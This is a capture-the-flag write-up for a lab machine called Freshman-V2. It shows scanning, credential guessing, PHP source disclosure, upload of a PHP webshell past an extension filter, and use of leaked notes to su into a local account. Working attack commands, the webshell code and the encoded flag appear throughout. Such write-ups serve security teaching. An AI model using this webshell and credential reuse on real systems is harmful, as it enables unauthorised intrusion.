Freshman-V2 - user
192.168.252.136Boot2Root478Easyhack10{flag_here}1. Challenge Overview
This Boot2Root target exposed four services: FTP on 21, Apache/PHP on 80, MySQL on 3306, and nginx on 8080. The objective was to obtain the user flag without offline extraction of the VM contents.
The successful path was:
Enumerate the web application and find weak web credentials.
Abuse the unrestricted upload feature to gain code execution as www-data.
Discover leaked developer notes in /tmp/dev_notes.txt.
Reuse the leaked local account password with su to read /home/freshman/user.txt.
Decode the base64-encoded flag.
2. Initial Reconnaissance
I first confirmed the exposed network surface and collected the login page behavior.
Command:
1nmap -sV -T4 192.168.252.136Output:
1Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 14:00 -04002Nmap scan report for 192.168.252.1363Host is up (0.00081s latency).4Not shown: 996 closed tcp ports (reset)5PORT STATE SERVICE VERSION621/tcp open ftp vsftpd 3.0.5780/tcp open http Apache httpd 2.4.52 ((Ubuntu))83306/tcp open mysql MySQL (unauthorized)98080/tcp open http nginx 1.18.0 (Ubuntu)10MAC Address: 00:0C:29:50:02:C3 (VMware)11Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel12Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .13Nmap done: 1 IP address (1 host up) scanned in 7.29 secondsCommand:
1curl -i --max-time 10 http://192.168.252.136/Output:
1HTTP/1.1 200 OK2Date: Fri, 27 Mar 2026 18:00:12 GMT3Server: Apache/2.4.52 (Ubuntu)4Set-Cookie: PHPSESSID=vbj1q7cspop4fvuhmndl97i3ab; path=/5Expires: Thu, 19 Nov 1981 08:52:00 GMT6Cache-Control: no-store, no-cache, must-revalidate7Pragma: no-cache8Vary: Accept-Encoding9Content-Length: 262010Content-Type: text/html; charset=UTF-811<!DOCTYPE html>12<html lang="en">13<head>14 <meta charset="UTF-8">15 <title>Freshman Portal</title>16 <style>17 body {18 font-family: 'Inter', 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;19 background: linear-gradient(135deg, #1e1e2f 0%, #2a2a40 100%);20 color: #fff;21 display: flex;22 align-items: center;23 justify-content: center;24 height: 100vh;25 margin: 0;26 overflow: hidden;27 }28 .container {29 background: rgba(255, 255, 255, 0.05);30 padding: 40px;31 border-radius: 12px;32 box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4);33 backdrop-filter: blur(15px);34 border: 1px solid rgba(255, 255, 255, 0.1);35 width: 350px;36 text-align: center;37 animation: fadeIn 0.8s ease-out;38 }39 @keyframes fadeIn {40 from { opacity: 0; transform: translateY(-20px); }41 to { opacity: 1; transform: translateY(0); }42 }43 h2 { margin-top: 0; font-weight: 600; color: #fff; font-size: 28px; }44 p { color: #bbb; font-size: 14px; margin-bottom: 25px; }45 input[type="text"], input[type="password"] {46 width: 100%; padding: 14px; margin: 10px 0;47 border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 8px;48 background: rgba(0,0,0,0.2); color: #fff;49 box-sizing: border-box;50 outline: none; transition: 0.3s;51 }52 input:focus { border-color: #4a90e2; background: rgba(0,0,0,0.4); box-shadow: 0 0 10px rgba(74, 144, 226, 0.3); }53 button {54 width: 100%; padding: 14px; margin-top: 15px;55 background: #4a90e2; color: white;56 border: none; border-radius: 8px;57 font-size: 16px; cursor: pointer; transition: background 0.3s, transform 0.1s;58 font-weight: 600;59 }60 button:hover { background: #357abd; transform: translateY(-1px); }61 button:active { transform: translateY(1px); }62 .error { color: #ff4d4d; margin-bottom: 15px; font-weight: 500; font-size: 14px;}63 </style>64</head>65<body>66 <div class="container">67 <h2>Freshman Portal</h2>68 <p>Please log in to manage your assignments.</p>69 <form method="POST">70 <input type="text" name="username" placeholder="Username" required>71 <input type="password" name="password" placeholder="Password" required>72 <button type="submit">Login to Dashboard</button>73 </form>74 </div>75</body>76</html>Command:
1curl -i --max-time 10 http://192.168.252.136:8080/Output:
1HTTP/1.1 200 OK2Server: nginx/1.18.0 (Ubuntu)3Date: Fri, 27 Mar 2026 18:00:12 GMT4Content-Type: text/html5Content-Length: 6126Last-Modified: Fri, 27 Mar 2026 13:06:48 GMT7Connection: keep-alive8ETag: "69c680e8-264"9Accept-Ranges: bytes10<!DOCTYPE html>11<html>12<head>13<title>Welcome to nginx!</title>14<style>15 body {16 width: 35em;17 margin: 0 auto;18 font-family: Tahoma, Verdana, Arial, sans-serif;19 }20</style>21</head>22<body>23<h1>Welcome to nginx!</h1>24<p>If you see this page, the nginx web server is successfully installed and25working. Further configuration is required.</p>26<p>For online documentation and support please refer to27<a href="http://nginx.org/">nginx.org</a>.<br/>28Commercial support is available at29<a href="http://nginx.com/">nginx.com</a>.</p>30<p><em>Thank you for using nginx.</em></p>31</body>32</html>Command:
1printf 'user anonymous anonymous\\nls\\nquit\\n' | ftp -inv 192.168.252.136Output:
1Connected to 192.168.252.136.2220 (vsFTPd 3.0.5)3331 Please specify the password.4530 Login incorrect.5Login failed.6530 Please login with USER and PASS.7530 Please login with USER and PASS.8ftp: Can't bind for data connection: Address already in use9221 Goodbye.Command:
1gobuster dir -u http://192.168.252.136/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 30Output:
1===============================================================2Gobuster v3.8.23by OJ Reeves (@TheColonial) \& Christian Mehlmauer (@firefart)4===============================================================5[+] Url: http://192.168.252.136/6[+] Method: GET7[+] Threads: 308[+] Wordlist: /usr/share/wordlists/dirb/common.txt9[+] Negative Status codes: 40410[+] User Agent: gobuster/3.8.211[+] Extensions: html,php,txt12[+] Timeout: 10s13===============================================================14Starting gobuster in directory enumeration mode15===============================================================16.hta (Status: 403) [Size: 280]17.hta.php (Status: 403) [Size: 280]18.hta.txt (Status: 403) [Size: 280]19.hta.html (Status: 403) [Size: 280]20.htaccess (Status: 403) [Size: 280]21.htaccess.txt (Status: 403) [Size: 280]22.htaccess.php (Status: 403) [Size: 280]23.htpasswd (Status: 403) [Size: 280]24.htpasswd.php (Status: 403) [Size: 280]25.htaccess.html (Status: 403) [Size: 280]26.htpasswd.html (Status: 403) [Size: 280]27.htpasswd.txt (Status: 403) [Size: 280]28index.php (Status: 200) [Size: 2620]29index.php (Status: 200) [Size: 2620]30logout.php (Status: 302) [Size: 0] [--> index.php]31server-status (Status: 403) [Size: 280]32upload.php (Status: 302) [Size: 0] [--> index.php]33uploads (Status: 301) [Size: 320] [--> http://192.168.252.136/uploads/]34===============================================================35Finished36===============================================================Command:
1for c in admin:admin admin:password student:student freshman:freshman user:user test:test; do u=${c%%:*}; p=${c##*:}; code=$(curl -s -o /tmp/resp.$$ -w '%{http_code}' -c /tmp/c.$$ -b /tmp/c.$$ -X POST http://192.168.252.136/ -d "username=$u\&password=$p"); if ! grep -q 'Invalid credentials' /tmp/resp.$$; then echo "$u:$p => $code"; cat /tmp/resp.$$; fi; doneOutput:
1admin:admin => 3023. Analysis / Forensics Path
The nginx service on 8080 initially looked like a default landing page, but directory enumeration showed index.php, upload.php, logout.php, and /uploads/ on that port as well. Fetching those files through nginx returned the raw PHP source code instead of executing it.
Command:
1curl -s http://192.168.252.136:8080/index.phpOutput:
1<?php2session_start();3if ($_SERVER['REQUEST_METHOD'] == 'POST') {4 $username = $_POST['username'];5 $password = $_POST['password'];6 // Default weak credentials7 if ($username === 'admin' \&\& $password === 'admin') {8 $_SESSION['loggedin'] = true;9 header('Location: upload.php');10 exit;11 } else {12 $error = "Invalid credentials! Please try again.";13 }14}15?>16<!DOCTYPE html>17<html lang="en">18<head>19 <meta charset="UTF-8">20 <title>Freshman Portal</title>21 <style>22 body {23 font-family: 'Inter', 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;24 background: linear-gradient(135deg, #1e1e2f 0%, #2a2a40 100%);25 color: #fff;26 display: flex;27 align-items: center;28 justify-content: center;29 height: 100vh;30 margin: 0;31 overflow: hidden;32 }33 .container {34 background: rgba(255, 255, 255, 0.05);35 padding: 40px;36 border-radius: 12px;37 box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4);38 backdrop-filter: blur(15px);39 border: 1px solid rgba(255, 255, 255, 0.1);40 width: 350px;41 text-align: center;42 animation: fadeIn 0.8s ease-out;43 }44 @keyframes fadeIn {45 from { opacity: 0; transform: translateY(-20px); }46 to { opacity: 1; transform: translateY(0); }47 }48 h2 { margin-top: 0; font-weight: 600; color: #fff; font-size: 28px; }49 p { color: #bbb; font-size: 14px; margin-bottom: 25px; }50 input[type="text"], input[type="password"] {51 width: 100%; padding: 14px; margin: 10px 0;52 border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 8px;53 background: rgba(0,0,0,0.2); color: #fff;54 box-sizing: border-box;55 outline: none; transition: 0.3s;56 }57 input:focus { border-color: #4a90e2; background: rgba(0,0,0,0.4); box-shadow: 0 0 10px rgba(74, 144, 226, 0.3); }58 button {59 width: 100%; padding: 14px; margin-top: 15px;60 background: #4a90e2; color: white;61 border: none; border-radius: 8px;62 font-size: 16px; cursor: pointer; transition: background 0.3s, transform 0.1s;63 font-weight: 600;64 }65 button:hover { background: #357abd; transform: translateY(-1px); }66 button:active { transform: translateY(1px); }67 .error { color: #ff4d4d; margin-bottom: 15px; font-weight: 500; font-size: 14px;}68 </style>69</head>70<body>71 <div class="container">72 <h2>Freshman Portal</h2>73 <p>Please log in to manage your assignments.</p>74 <?php if (isset($error)) echo "<div class='error'>$error</div>"; ?>75 <form method="POST">76 <input type="text" name="username" placeholder="Username" required>77 <input type="password" name="password" placeholder="Password" required>78 <button type="submit">Login to Dashboard</button>79 </form>80 </div>81</body>82</html>The upload logic on 8080 also disclosed that only .exe was blocked, which implied unrestricted server-side upload of .php files on Apache.
Command:
1curl -s http://192.168.252.136:8080/upload.phpOutput:
1<?php2session_start();3if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {4 header('Location: index.php');5 exit;6}7if ($_SERVER['REQUEST_METHOD'] == 'POST' \&\& isset($_FILES['file'])) {8 $target_dir = "uploads/";9 $file_name = basename($_FILES["file"]["name"]);10 $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));11 if ($file_ext === "exe") {12 $message = "<div class='error'>Error: Executable files (.exe) are strictly prohibited!</div>";13 } else {14 if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_dir . $file_name)) {15 $message = "<div class='success'>Assignment successfully submitted!<br>Access your file here: <a href='uploads/$file_name'>uploads/$file_name</a></div>";16 } else {17 $message = "<div class='error'>An unexpected error occurred while uploading. Please try again.</div>";18 }19 }20}21?>22<!DOCTYPE html>23<html lang="en">24<head>25 <meta charset="UTF-8">26 <title>Freshman Portal - Upload</title>27 <style>28 body { font-family: 'Inter', 'Segoe UI', sans-serif; background: linear-gradient(135deg, #1e1e2f, #2a2a40); color: #fff; margin: 0; padding: 0; display:flex; justify-content:center; align-items:center; height:100vh;}29 .container { background: rgba(255, 255, 255, 0.05); padding: 40px; border-radius: 12px; box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4); backdrop-filter: blur(15px); border: 1px solid rgba(255, 255, 255, 0.1); width: 450px; text-align: center; animation: fadeIn 0.5s ease-out; }30 @keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }31 h2 { font-size: 26px; margin-top: 0; }32 p { color: #bbb; line-height: 1.5; margin-bottom: 25px; }33 .success { color: #2ecc71; margin-bottom: 20px; font-weight: 500; background: rgba(46, 204, 113, 0.1); padding: 15px; border-radius:8px; border: 1px solid rgba(46, 204, 113, 0.3); font-size: 15px;}34 .success a { color: #4a90e2; font-weight: bold; text-decoration: none; word-break: break-all;}35 .success a:hover { text-decoration: underline; }36 .error { color: #ff4d4d; margin-bottom: 20px; font-weight: 500; background: rgba(255, 77, 77, 0.1); padding: 15px; border-radius:8px; border: 1px solid rgba(255, 77, 77, 0.3); font-size: 15px;}37 input[type="file"] { margin: 20px 0; background: rgba(0,0,0,0.2); padding: 15px; border-radius: 8px; width: 100%; box-sizing: border-box; border: 1px dashed rgba(255,255,255,0.2); transition: 0.3s; }38 input[type="file"]:focus { border-color: #4a90e2; }39 button { background: #4a90e2; color: #fff; border: none; padding: 14px 20px; border-radius: 8px; cursor: pointer; transition: 0.3s; font-size:16px; width: 100%; font-weight: 600; }40 button:hover { background: #357abd; transform: translateY(-1px); }41 .logout { display: inline-block; margin-top: 20px; color: #888; text-decoration: none; font-size: 14px; transition: 0.3s; }42 .logout:hover { color: #fff; }43 </style>44</head>45<body>46 <div class="container">47 <h2>Assignment Upload</h2>48 <p>Please upload your upcoming coursework or assignment documents. Only `.pdf` or `.docx` formats are recommended.</p>49 <?php if (isset($message)) echo $message; ?>50 <form method="POST" enctype="multipart/form-data">51 <input type="file" name="file" required>52 <button type="submit">Submit Assignment</button>53 </form>54 <a href="logout.php" class="logout">\← Secure Logout</a>55 </div>56</body>57</html>After code execution as www-data, I searched for local artifacts and found /tmp/dev_notes.txt.
Command:
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=cat+/tmp/dev_notes.txt'Output:
1Development Notes - Freshman Portal2====================================3Author: Nur Aisyah4Last Updated: 2025-08-225Apache Config:6- DocumentRoot /var/www/html7- mod_rewrite enabled8PHP Settings:9- upload_max_filesize = 10M10- Uploads go to /var/www/html/uploads/11Known Issues:12- Upload page does not validate file types properly13- CSS broken on mobile view14Test Accounts (REMOVE BEFORE PRODUCTION!):15 Web Admin Panel -> admin / admin16 SSH Access -> freshman / freshman12317Changelog:18- v1.0 Initial release19- v1.1 Added file upload20- v1.2 Bug fixesThat note provided the second-stage local credential for the freshman user.
4. Exploitation / Recovery
First, I authenticated to the web portal with the weak admin credentials and accessed the upload form.
Command:
1curl -i -s -L -c /tmp/admin.cookies -b /tmp/admin.cookies -X POST http://192.168.252.136/ -d 'username=admin\&password=admin'Output:
1HTTP/1.1 302 Found2Date: Fri, 27 Mar 2026 18:01:13 GMT3Server: Apache/2.4.52 (Ubuntu)4Set-Cookie: PHPSESSID=91s0mpkegv6nh05bk7ihgb1kql; path=/5Expires: Thu, 19 Nov 1981 08:52:00 GMT6Cache-Control: no-store, no-cache, must-revalidate7Pragma: no-cache8Location: upload.php9Content-Length: 010Content-Type: text/html; charset=UTF-811HTTP/1.1 200 OK12Date: Fri, 27 Mar 2026 18:01:13 GMT13Server: Apache/2.4.52 (Ubuntu)14Expires: Thu, 19 Nov 1981 08:52:00 GMT15Cache-Control: no-store, no-cache, must-revalidate16Pragma: no-cache17Vary: Accept-Encoding18Content-Length: 265019Content-Type: text/html; charset=UTF-820<!DOCTYPE html>21<html lang="en">22<head>23 <meta charset="UTF-8">24 <title>Freshman Portal - Upload</title>25 ...26</html>I used this exact PHP webshell payload:
1<?php2if (isset($_REQUEST['cmd'])) {3 system($_REQUEST['cmd']);4}5?>I then uploaded it with the authenticated session.
Command:
1curl -i -s -b /tmp/admin.cookies -c /tmp/admin.cookies -F 'file=@/home/nopalinto/Downloads/CTF Codex/shell.php;type=application/x-php' http://192.168.252.136/upload.phpOutput:
1HTTP/1.1 200 OK2Date: Fri, 27 Mar 2026 18:01:28 GMT3Server: Apache/2.4.52 (Ubuntu)4Expires: Thu, 19 Nov 1981 08:52:00 GMT5Cache-Control: no-store, no-cache, must-revalidate6Pragma: no-cache7Vary: Accept-Encoding8Content-Length: 27879Content-Type: text/html; charset=UTF-810<!DOCTYPE html>11<html lang="en">12<head>13 <meta charset="UTF-8">14 <title>Freshman Portal - Upload</title>15 ...16 <div class='success'>Assignment successfully submitted!<br>Access your file here: <a href='uploads/shell.php'>uploads/shell.php</a></div> <form method="POST" enctype="multipart/form-data">17 <input type="file" name="file" required>18 <button type="submit">Submit Assignment</button>19 </form>20 <a href="logout.php" class="logout">\← Secure Logout</a>21 </div>22</body>23</html>I verified code execution:
Command:
1curl -s http://192.168.252.136/uploads/shell.php?cmd=idOutput:
1uid=33(www-data) gid=33(www-data) groups=33(www-data)The exact command chain used to recover the user flag was:
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=cat+/tmp/dev_notes.txt'2curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"id;pwd;ls+-la+/home/freshman;cat+/home/freshman/user.txt"+2>%261'3printf 'aGFjazEwezNhc3lfcDNhc3lfMW4xdDFhbF9hY2Mzc3N9Cg==' | base64 -dLiteral output of the local user pivot:
1Password: uid=1000(freshman) gid=1000(freshman) groups=1000(freshman)2/var/www/html/uploads3total 244drwxr-x--- 1 freshman freshman 4096 Mar 27 13:07 .5drwxr-xr-x 1 root root 4096 Mar 27 13:07 ..6-rw-r--r-- 1 freshman freshman 220 Jan 6 2022 .bash_logout7-rw-r--r-- 1 freshman freshman 3771 Jan 6 2022 .bashrc8-rw-r--r-- 1 freshman freshman 807 Jan 6 2022 .profile9-rw------- 1 freshman freshman 49 Mar 27 13:07 user.txt10aGFjazEwezNhc3lfcDNhc3lfMW4xdDFhbF9hY2Mzc3N9Cg==Literal output of the decode step:
5. Flag
6. Summary of Approach & Key Takeaways
Step-by-step recap:
Scanned the target and identified FTP, Apache, MySQL, and nginx.
Enumerated the Apache site and found upload.php and /uploads/.
Tested common credentials and found admin / admin for the web panel.
Enumerated the nginx service and discovered it exposed raw PHP source code on :8080.
Confirmed the upload page only blocked .exe, allowing unrestricted .php upload.
Uploaded a PHP webshell and gained command execution as www-data.
Searched the filesystem and found /tmp/dev_notes.txt.
Extracted the leaked local credential freshman / freshman123.
Reused the password with su to access the freshman account context.
Read /home/freshman/user.txt, decoded the base64 content, and recovered the flag.
Lessons learned:
Weak default credentials on web panels create immediate footholds.
Source disclosure on an alternate web server can reveal hidden logic even when the main application seems opaque.
File upload controls that blacklist only one extension are ineffective.
Developer notes left in writable or world-readable locations can completely collapse the intended trust boundary.